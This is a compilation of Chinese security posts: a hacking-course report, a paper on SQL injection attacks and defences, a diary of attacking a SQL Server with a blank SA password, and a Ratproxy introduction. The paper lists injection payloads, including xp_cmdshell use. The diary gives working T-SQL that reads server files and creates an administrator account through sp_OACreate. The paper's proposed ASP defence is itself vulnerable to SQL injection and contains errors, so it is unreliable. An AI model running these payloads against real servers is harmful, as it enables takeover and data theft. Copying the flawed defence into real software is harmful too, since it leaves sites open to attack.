由于不是所有的人都熟悉UNIX操作系统,所以第三天的进度比较慢,但是在老师的细心讲解和不厌其烦的答疑,最后几乎所有的学员都能按照要求对其环境中的4 部Unix 主机进行正确的攻击。(Unix & Linux)。这也充分体验了攻击是不分操作系统的,只要合理的运用学到的技能进行有系统的分析和鉴定,要成功的攻击一台陌生的服务器也不是一件真正的难事。这一天的结果也充分让我们意识到了安全的跨平台性。只要是一个系统,不管熟悉它的人有多少,都完全有必要彻底的做好其安全巩固工作,决不能寄幻想于用户的水平不够就视而不管。

第四天 – 网络入侵与网站入侵Network Hacking & Web Hacking

第四天所教授的内容并不直接针对特定的操作系统,而是将重点放在路由器与防火墙的弱点与漏洞入侵方面。在实作的部分,我们针对了port redirection通讯端口重导转移进行了大量的练习。此外,在Web Hacking网站入侵的部分,我们还讨论了如何入侵web-based的应用程序并探讨Foundstone 专家所提供的eCommerce Application电子商务应用程序安全的检查方法,以及复习在前3日的课程中进行攻击实践时在目标主机上所留下的记录文件。本日覆盖的重要知识技能如下:

Network Hacking
Router issues
Vulnerabilities
Services
Passwords
Routing issues
Path integrity
IP spoofing
Denial of service
Firewall architectures
Firewall attack scenarios
Insider
Vulnerable services
Firewall identification and enumeration
Banner grabbing
ACL enumeration
Port identification
Liberal ACLs
Port redirection
datapipe
fpipe
Web Hacking
E-commerce primer
Information gathering
Port scanning
Web reconnaissance
Enumeration
Vulnerability checking
Site duplication
Source sifting
Key field enumeration
Viewing source
Active server pages
Common gateway interface
Cold fusion
File system traversal
Dot dot bugs
Dot listings
Tilde usage
CIM
Input validation
Metacharacters
Field overflows
Application buffer overflows
Server side includes
Hidden tags
IIS Unicode
Local command execution
Impersonation
State tracking
Cookies
在下午的攻击实践中,我们真正领略到了网站攻击的威力。只要具有正确的思维和必要的技能,一个哪怕是只存在一个安全漏洞的网站服务器都会成为攻击者的牺牲品。同时我们也发现了互联网上存在着许多有着显著安全漏洞的网站,值得一提的是,有相当多的网站还是电子商务网站,有经验的攻击者完全可以对这些网站进行攻击以完全免费代价享受网站所提供的各种收费服务甚至是购买价值不菲的实物。

这也不得不让我们所有的安全专家提高警惕:在实践中对这样的系统进行安全加固时,不仅要保证其主机系统的安全,还有必要对在其基础上所运行的网站程序进行系统和长期的漏洞检测与管理。当然还需要对程序员进行有效的安全编程教育和培训。只有通过建议一个可控制的系统的风险管理机制,才可以让企业内的网络管理员和程序开发人员掌握到必要的安全信息和漏洞情况,才能让各部门正确的承担自己的责任,让企业尽可能的降低程序的漏洞和被攻击的风险。

第5天举行Ultimate Lab实战大挑战

最后一天是针对学员这前四天所学习的技能进行一次全面的演练。我们将利用这一整天的时间对由路由器、防火墙、NT/2000、Unix 及Web网站组成的综合目标进行最后的攻击。由于其最终目标的实现极具挑战性,老师明确要求了我们必须以团队合作的方式来完成数小时的实战演练。在最后的攻击演练中要求我们运用的技能包括了以下方面:

Ultimate Hacking:Hands On 实战项目

UNIX 系统安全实战部分

Enumerating UNIX hosts
UNIX brute force attacks
Execution of buffer overflow attack
Execution of input validation attack
Attacking SSL servers
Creating back channels using reverse telnets and X-windows
Execution of remote attacks
Abusing nfs
Exploiting X-windows insecurities
Grabbing keystrokes from another machine
Cracking UNIX password files
Hiding TCP traffic in ICMP packets
Perform network sniffing
Perform session hijacking
NT/2000 系统安全实战

Enumerating NT/2000 hosts
Enumerate NT host, group, and hardware information
Determine NT network topology, architecture, and trust relationship
Automated NT password guessing
Escalating privilege from user to Administrator
Wiping NT audit logs
Grabbing NT password hashes
Sniffing NT password hashes
Cracking NT password hashes
Getting remote interactive cmd.exe shells
Hiding tools and files in NTFS (streams)
Using trojans and backdoors (BO2K, netbus, SubSeven, VNC)
Network Hacking 网络入侵实战

Router identification and enumeration
SNMP vulnerabilities
Decrypting Cisco passwords
Port identification
Determining firewall filtering rules
Taking advantage of liberal firewall rules
Using port redirection to bypass firewall and router rules
上午的时候,老师针对这几天的攻防学习做了一个总结,然后对所有的学员进行了一次理论考核后,就让我们对这次实战培训的终极目标发起进攻。我们只得知最后要得手的是一本很“重要”的电话薄。由于攻击环境因为最后一天的终极挑战重新进行了安排。而且可以肯定的是,这次放电话薄的服务器躲在了防火墙后,一些常用端口也被防火墙关闭了。我们唯一可以利用的是80端口,而且该服务器也没有明显的安全漏洞,所以要想成功的拿到电话本,我们就必须想法先攻克同在防火墙后的另外几台漏洞可能比较多的普通服务器。

由于挑战是对个人攻击技能的总测验,同时又不排除每个人可以想尽办法悄悄的“借助”其他学员的攻击成果而提高自己的攻击速度,所以整个过程充满了挑战性和一连串的刺激。在整个攻击过程中,我几乎用到了前几天学到的所有技能。从侦察,嗅探,被动扫描(不要被防火墙发现),系统及用户列举,建立攻击跳板,透过防火墙建立攻击隧道,端口转发,密码破解等。直到快要到下午六点的时候,终于是第一个同时也是唯一的一个按照实战要求成功完成了既定目标,成功的拿到了那份“分量十足”的电话薄。虽然当时感觉很疲惫,但是心里却是激动不已。因为最后的成功证明了自己这五天的学习没有白费,最后的挑战也证明了自己掌握到了相当的专业攻击技能。通过这些学到的技能,我们可以更好的运用到平时的安全工作中去,比如对自 己的所有的系统进行漏洞检测(Penetration Test)。有一点值得一提的是,我们在攻击课中学习了在成功攻击了服务器后如何隐藏自己的攻击记录以不被发现的必要技术。因此从这样的攻击演练中,我们每一个学员都意识到了,安全管理员不能完全依赖安全系统的日志记录,因为这些记录并不是完全可靠的。要做一个合格的安全专家,必须要学会运用各种工具对系统存在的所有信息进行全面,智能的分析才可以确保安全。

除此之外,这五天下来,我们每个参加培训的学员虽然都学会了不少攻击工具的使用, 也学到了不少找漏洞的窍门,但是最让我们回味无穷的还是Foundstone在培训中所一直强调的黑客思维体系,因为无论面对的是什么的网络系统环境,对其进行攻击的思路总的来说是不变的。所以,不管新的服务器是什么,新的补丁打到了什么程度,只要能合理运用这种思维方式再结合有效的手段,一定可是找到安全的突破口。

而我自己,作为一名在职的安全专家,通过这次培训,除了让自己彻底了解到了黑客攻击的各个重要环节外,同时也不得不让自己对日常的一些安全防护工作的实施进行必要的检讨以提高警惕性。在我们的日常工作中,有很多重要的安全环节,由于自己的不了解,而简单的忽略掉了。现在有必要结合所学的Ultimate Hacking的攻击技巧重新制定一系列的安全防范措施。只有这样,才可能真正有效的最大限度保护好我们工作生活中各种网络内的重要信息资源。

通过这次培训,真正我深深的体会到,要成为一个合格的安全专家,还真的必须要先学会如何当好合格的“黑客”才可以。感谢Ultimate Hacking!

SQL注入攻击及其防范检测技术研究

SQL注入攻击及其防范检测技术研究
陈小兵 【antian365.com】
摘要:本文简要介绍了SQL注入攻击的原理,SQL注入攻击实现过程,配合网页木马实施网络入侵的方法,给出了SQL注入攻击的检测方法,并在此基础上给出了一种SQL注入攻击的自动防范模型。
关键词:SQL注入攻击 防范检测技术 网页木马
1 SQL注入攻击概述
1.1 SQL注入技术定义
SQL注入(SQL Injection)技术在国外最早出现在1999年,我国在2002年后开始大量出现,目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:
(1)脚本注入式的攻击
(2)恶意用户输入用来影响被执行的SQL脚本
Chris Anley将SQL注入[2]定义为,攻击者通过在查询操作中插入一系列的SQL语句到应用程序中来操作数据。Stephen Kost[3]给出了SQL注入的一个特征,“从一个数据库获得未经授权的访问和直接检索”。利用SQL注入技术来实施网络攻击常称为SQL注入攻击,其本质是利用Web应用程序中所输入的SQL语句的语法处理,针对的是Web应用程序开发者编程过程中未对SQL语句传入的参数做出严格的检查和处理所造成的。习惯上将存在SQL注入点的程序或者网站称为SQL注入漏洞。实际上,SQL注入是存在于有数据库连接的应用程序中的一种漏洞,攻击者通过在应用程序中预先定义好的查询语句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授权的查询。这类应用程序一般是基于Web的应用程序,它允许用户输入查询条件,并将查询条件嵌入SQL请求语句中,发送到与该应用程序相关联的数据库服务器中去执行。通过构造一些畸形的输入,攻击者能够操作这种请求语句去获取预先未知的结果。
1.2 SQL注入攻击特点
SQL注入攻击是目前网络攻击的主要手段之一,在一定程度上其安全风险高于缓冲区溢出漏洞,目前防火墙不能对SQL注入漏洞进行有效地防范。防火墙为了使合法用户运行网络应用程序访问服务器端数据,必须允许从Internet到Web服务器的正向连接,因此一旦网络应用程序有注入漏洞,攻击者就可以直接访问数据库进而甚至能够获得数据库所在的服务器的访问权,因此在某些情况下,SQL注入攻击的风险要高于所有其他漏洞[5][6][7]。SQL注入攻击具有以下特点:
(1)广泛性。SQL注入攻击利用的是SQL语法,因此只要是利用SQL语法的Web应用程序如果未对输入的SQL语句做严格的处理都会存在SQL注入漏洞,目前以Active/Java Server Pages、 Cold Fusion Management、 PHP、Perl等技术与SQL Server、Oracle、DB2、Sybase等数据库相结合的Web应用程序均发现存在SQL注入漏洞。
(2)技术难度不高。SQL注入技术公布后,网络上先后出现了多款SQL注入工具,例如教主的HDSI、NBSI、明小子的Domain等,利用这些工具软件可以轻易地对存在SQL注入的网站或者Web应用程序实施攻击,并最终获取其计算器的控制权。
(3)危害性大,SQL注入攻击成功后,轻者只是更改网站首页等数据,重者通过网络渗透等攻击技术,可以获取公司或者企业机密数据信息,产生重大经济损失。
2 SQL注入攻击的实现原理
2.1 SQL注入攻击实现原理
结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到入侵数据库乃至操作系统的目的。它的产生主要是由于程序对用户输入的数据没有进行细致的过滤,导致非法数据的导入查询[8]。
SQL注入攻击主要是通过构建特殊的输入,这些输入往往是SQL语法中的一些组合,这些输入将作为参数传入Web应用程序,通过执行SQL语句而执行入侵者的想要的操作,下面以登录验证中的模块为例,说明SQL注入攻击的实现方法。
在Web应用程序的登录验证程序中,一般有用户名(username)和密码(password)两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。其原理是通过查找user表中的用户名(username)和密码(password)的结果来进行授权访问,典型的SQL查询语句为:
Select * from users where username='admin' and password='smith’
如果分别给username和password赋值“admin' or 1=1--”和“aaa”。 那么,SQL脚本解释器中的上述语句就会变为:
select * from users where username=’admin’ or 1=1-- and password=’aaa’
该语句中进行了两个判断,只要一个条件成立,则就会执行成功,而1=1在逻辑判断上是恒成立的,后面的“--”表示注释,即后面所有的语句为注释语句。同理通过在输入参数中构建SQL语法还可以删除数据库中的表,查询、插入和更新数据库中的数据等危险操作:
(1)jo'; drop table authors—如果存在authors表则删除。
(2)' union select sum(username) from users—从users表中查询出username的个数
(3)'; insert into users values( 666, 'attacker', 'foobar', 0xffff )—在user表中插入值
(4)' union select @@version,1,1,1--查询数据库的版本
(5)'exec master..xp_cmdshell 'dir' 通过xp_cmdshell来执行dir命令
2.2. SQL注入攻击实现过程
SQL注入攻击可以手工进行,也可以通过SQL注入攻击辅助软件如HDSI、Domain、NBSI等,其实现过程可以归纳为以下几个阶段:
(1)寻找SQL注入点;寻找SQL注入点的经典查找方法是在有参数传入的地方添加诸如“and 1=1”、“and 1=2”以及“’”等一些特殊字符,通过浏览器所返回的错误信息来判断是否存在SQL注入,如果返回错误,则表明程序未对输入的数据进行处理,绝大部分情况下都能进行注入。
(2)获取和验证SQL注入点;找到SQL注入点以后,需要进行SQL注入点的判断,常常采用2.1中的语句来进行验证。
(3)获取信息;获取信息是SQL注入中一个关键的部分,SQL注入中首先需要判断存在注入点的数据库是否支持多句查询、子查询、数据库用户账号、数据库用户权限。如果用户权限为sa,且数据库中存在xp_cmdshell存储过程,则可以直接转(4)。
(4)实施直接控制;以SQL Server 2000为例,如果实施注入攻击的数据库是SQL Server 2000,且数据库用户为sa,则可以直接添加管理员账号、开放3389远程终端服务、生成文件等命令。
(5)间接进行控制。间接控制主要是指通过SQL注入点不能执行DOS等命令,只能进行数据字段内容的猜测。在Web应用程序中,为了方便用户的维护,一般都提供了后台管理功能,其后台管理验证用户和口令都会保存在数据库中,通过猜测可以获取这些内容,如果获取的是明文的口令,则可以通过后台中的上传等功能上传网页木马实施控制,如果口令是明文的,则可以通过暴力破解其密码。
3 SQL注入攻击检测方法与防范
3.1 SQL注入攻击检测方法
SQL注入攻击检测分为入侵前的检测和入侵后的检测,入侵前的检测,可以通过手工方式,也可以使用SQL注入工具软件。检测的目的是为预防SQL注入攻击,而对于SQL注入攻击后的检测,主要是针对日志的检测,SQL注入攻击成功后,会在IIS日志和数据库中留下“痕迹”。
(1)数据库检查
使用HDSI、NBSI和Domain等SQL注入攻击软件工具进行SQL注入攻击后,都会在数据库中生成一些临时表。通过查看数据库中最近新建的表的结构和内容,可以判断是否曾经发生过SQL注入攻击。
(2)IIS日志检查
在Web服务器中如果启用了日志记录,则IIS日志会记录访问者的IP地址,访问文件等信息,SQL注入攻击往往会大量访问某一个页面文件(存在SQL注入点的动态网页),日志文件会急剧增加,通过查看日志文件的大小以及日志文件中的内容,也可以判断是否发生过SQL注入攻击。
(3)其它相关信息判断
SQL注入攻击成功后,入侵者往往会添加用户、开放3389远程终端服务以及安装木马后门等,可以通过查看系统管理员账号、远程终端服务器开启情况、系统最近日期产生的一些文件等信息来判断是否发生过入侵。
3.2 一般的SQL注入攻击防范方法
SQL注入攻击防范方法目前已经有很多,总结起来有下面一些:
(1) 在服务端正式处理之前对提交数据的合法性进行检查;
(2) 封装客户端提交信息;
(3) 替换或删除敏感字符/字符串;
(4) 屏蔽出错信息。
(5)不要用字串连接建立SQL查询,而使用SQL变量,因为变量不是可以执行的脚本;
(6)目录最小化权限设置,给静态网页目录和动态网页目录分别设置不同权限,尽量不给写目录权限;
(7)修改或者去掉Web服务器上默认的一些危险命令,例如ftp、cmd、wscript等,需要时再复制到相应目录;
(8)数据敏感信息非常规加密,通过在程序中对口令等敏感信息加密都是采用md5函数进行加密,即密文=md5(明文),本文推荐在原来的加密的基础上增加一些非常规的方式,即在md5加密的基础上附带一些值,如密文=md5(md5(明文)+123456);
4 SQL注入攻击防范模型
4.1SQL注入攻击防范模型
在前人提出的SQL 注入攻击的检测/防御/备案模型基础上[8][9], 我们进行了检测过程的优化,提出了一种SQL自动防范模型如图1所示,本模型中所有检测都在服务器端进行,首先对IP地址进行检测,如果该IP地址在SQL注入攻击库中,则禁止该用户的访问,并再次将相关信息添加到SQL注入攻击库中;如果用户是首次访问,则对提交字符进行检测,如果是非法字符,则检测是否达到规定的访问值,如果达到则禁止用户访问,同时发送邮件给系统管理员。本模型可以防止攻击者穷举攻击并可自由设置攻击次数的上限,一旦到达上限,系统将自动发送邮件给管理员,管理员收到邮件后可以进行相应的处理,如果条件允许,还可以增加短信发送,增强了SQL注入攻击的自动防范能力。
本模型的最大特点是自动将攻击信息及时的传递给管理员,方便管理员及时做出响应。

图1 SQL注入攻击自动防范模型
核心代码如下:
sub stopit()
response.write "存在禁止访问ip地址:"&rs("ip")
response.end
response.redirect "noright.asp"
end sub
dim attack_browser,attack_ip,attack_host
attack_browser=Request.ServerVariables("Http_User_Agent")
attack_ip=Request.ServerVariables("ReMote_Addr")
attack_host=Request.ServerVariables("Remote_Host")
set rs1=server.createobject("adodb.recordset")
'从访问禁止ip中查询是否存在访问者的IP地址,如果存在则禁止其访问
sql1="select ip from prohibit_ip where ip='"&attack_ip&"'"
rs1.open sql1,conn,1,3
if not rs1.eof then
call stopit()
end if
rs1.close
set rs1=nothing
'从系统防范设置中查出email地址和运行的访问次数
set rs2=server.createobject("adodb.recordset")
sql2="select * from D_setup"
rs2.open sql2,conn,1,3
if not rs2.eof then
session("email")=rs2("email")
session("ok_count")=rs2("ok_count")
end if
rs2.close
set rs2=nothing
url=Request.ServerVariables("Query_String")
call chk(url)
'从Attack_count表中获取A_count的次数,如果A_count次数不小于默认的访问次数则禁止
if chk(url) then
set rs3=server.createobject("adodb.recordset")
sql3="select A_count from attack_count "
rs3.open sql3,conn,1,3
if not rs3.eof then
if rs3("A_count")>=session("ok_count") then
'插入攻击记录信息到attack_record表中
t1_sql1="insert into Attack_record(ip,Attacktime,Host,Browser) value('"&attack_ip&"',now(),'"&attack_host&"','"&attack_browser&"')"
set rsdel=conn.execute(t1_sql1)
call stopit()
ok=Jmail(session("email"),"SQL注入攻击告警!","攻击者IP地址:"& attack_ip )
else
temp_a_count=rs3("a_count")+1
'插入攻击Ip和a_count信息到Attack_count表中
t1_sql2="insert into Attack_count(ip,A_count) value('"&attack_ip&"','"&temp_a_count&"')"
set rsdel=conn.execute(t1_sql2)
end if
end if
4.2使用方法
所有代码均存入一个文件sqlinject.asp,只需要将该文件包含在需要防范的页面中即可;其中需要包含email.asp和conn.asp二个文件,前者主要通过Jmail组件来发送email邮件,后者是调用数据库连接,本模型的所采用的数据库是SQL Server 2000。
4.3实际应用效果分析
通过实际测试,当入侵者在网页提交一些非法字符达到指定次数后,系统会自动屏蔽掉该IP地址对网站的访问并将攻击IP地址、攻击时间、攻击者浏览器版本等信息写入到数据库中。当本模型存在一个缺陷:当攻击者在一个局域网时,一旦系统自动记录该地址后,其它使用该IP地址的非入侵用户也无法访问网站。本文采取的折衷办法是,在禁止的网页时留有email地址,如果发现是因为SQL入侵导致某个局域网(企业)不能访问网站,则可以通过删除数据库中禁止访问的IP地址,即可恢复正常访问。
5 结束语
本文对SQL注入攻击的方法、原理以及攻击实施过程进行了阐述和总结,并给出了常见的一些SQL注入攻击防范方法。最后给出了一种SQL注入攻击自动防范模型,通过在实际项目中的使用,能够很好的进行主动防范,具有较高的实用价值。
参考文献:
[1]SQL Server 安全回顾,http://www.microsoft.com/china/ctc/Newsletter/04/ctc2.htm,2004
[2]Chris Anley, Advanced SQL Injection In SQL Server Applications ,http://www.creangel.com/papers/advanced_sql_injection.pdf, An NGS Software Insight Security Research (NISR) Publication, 2002
[3] David Litchfield,Web Application Disassembly with ODBC Error Messages, http://81.cgisecurity.com/lib/webappdis.doc
[4]Sam M.S. NG,SQLBlock: SQL Injection Protection by Variable Normalization of SQL Statement, http://www.iem.pw.edu.pl/~kozlowk3/biblioteczka/www_SQL/SQL_Injection_Protection_by_Variable_Normalization_of_SQL_Statement.pdf
[5]Dimitris Geneiatakis, Georgios Kambourakis, Costas Lambrinoudakis,SIP Message Tampering THE SQL code INJECTION attack, http://www.snocer.org/Paper/camera-ready_soft_com.pdf
[6]Pete Finnigan,SQL Injection and Oracle,2002.11.21 http://www.oracledeveloper.nl/newforum/files/2002_11_21%20SecurityFocus%20SQL%20Injection%20and%20Oracle.pdf
[7]Cesar Cerrudo,Manipulating Microsoft SQL Server Using SQL Injection, http://injection.rulezz.ru/Manipulating_SQL_Server_Using_SQL_Injection.pdf
[8]徐陋,姚国祥,SQL 注入攻击全面预防办法及其应用,微计算机信息,2006,3(3),18-20
[9]张勇,李力,薛倩,Web 环境下SQL 注入攻击的检测与防御,现代电子技术,2004,182(15), 105-107

SQL Server SA空口令的渗透测试日记

前几天朋友找我,让我帮忙测试一下他们的服务器,经过扫描后发现SQLServer的SA为空,决定利用这个漏洞做渗透测试。经过测试发现存储过程Xp_cmdshell以及读取注册表系列的存储过程都被删除了,并且Xplog70.dll也被删除,所以无法执行CMD命令和克隆管理员帐号了,看样子是经过安全配置的,这种情况据我当时掌握的知识是没办法入侵的。以前也遇到过类似的机器,所以决定利用几天的时间解决这个问题。

经过两天的查阅资料和测试,实现了不需要使用任何SQLServer自带的存储过程就可以从目标机上得到txt、asp等类型文件的内容(前提是知道SA密码或者SA密码为空),实现过程就是自己建立一个临时表,然后将文件读到表中,再用SELECT语句得到返回值,即文件的内容。我们可以在查询分析器里先写入一个存储过程,然后执行,在需要的时候只要调用该存储过程即可:

Create proc sp_readTextFile @filename sysname
as

begin
set nocount on
Create table #tempfile (line varchar(8000))
exec ('bulk insert #tempfile from "' + @filename + '"')
select * from #tempfile
drop table #tempfile
End
go



这样我们只要执行类似下面的语句就可以得到指定路径下文件的内容:

exec sp_readTextFile 'c:\aaa.asp'




实现这个功能后,本打算通过读取朋友服务器上网站的asp代码,做进一步的入侵,可是后来发现,因为不知道网站asp文件的绝对路径,所以这个功能根本用不上,只好作罢,另找其他方法。在这之后的几天时间里,我想到了使用安全文章经常提到OLE相关的一系列存储过程,这一系列的存储过程同Xp_cmdshell以及读取注册表系列的存储过程一样危险,但是其使用方法不象那些存储过程在网络上和书上介绍的那样多,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,下面我讲一下通过查阅资料得到的使用方法:

打开查询分析器,然后使用SA与目标机连接上,在查询分析器里执行:


DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user
ceshi 1 /add'--



这样对方系统增加了一个用户名为ceshi,密码为1的用户,再执行:

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup
administrators ceshi /add '--




用户ceshi,被加入管理员组。

总结:通过这次渗透测试,又学到了一种利用存储过程控制SA为空的SQLServer服务器的方法。

Ratproxy -- Google 的 XSS 检测工具

Ratproxy -- Google 的 XSS 检测工具
跨站脚本攻击(XSS, Cross Site Scripting) 可能是目前所有网站都比较头疼的问题,Google 也不例外。这次 Google 又做了一次雷锋,把内部用来审计 XSS 的工具开源了:ratproxy。

Ratproxy 工作流程:
1) 运行脚本后,会在本地启动一个代理服务器,默认端口是 8080 ;
2) 浏览器设置这个地址 (http://localhost:8080)为 代理地址 ;
3) 浏览要测试的 Web 页面,进行实际登录,填写表单等操作(这些动作会被代理服务器捕捉并做点"手脚"发给待检测的页面),ratproxy 会在后台记录相关的 Log ;
4) 用 ratproxy 提供的工具解析 Log 并输出 HTML 进行分析;
5) 修正比较严重的问题后,跳回到第一步,直到评估通过为止。
在我的 Ubuntu 下测试了一下,需要说一下的是,本地系统需要安装 libssl-dev 与 openssl 。
$ sudo apt-get install libssl-dev openssl
$ cd ratproxy ; make
然后就可以提交类似:
$ ./ratproxy -v . -w foo.log -d foo.com -lfscm
然后,人肉点击相关的页面进行测试了。这个工具的设计思路还是很值得借鉴的,推荐对安全感兴趣的同学读一下源代码。
ratproxy 的作者是 MIchal Zalewski,一个波兰的白帽子黑客。他的个人主页上能找到更多有趣的工具。

关注者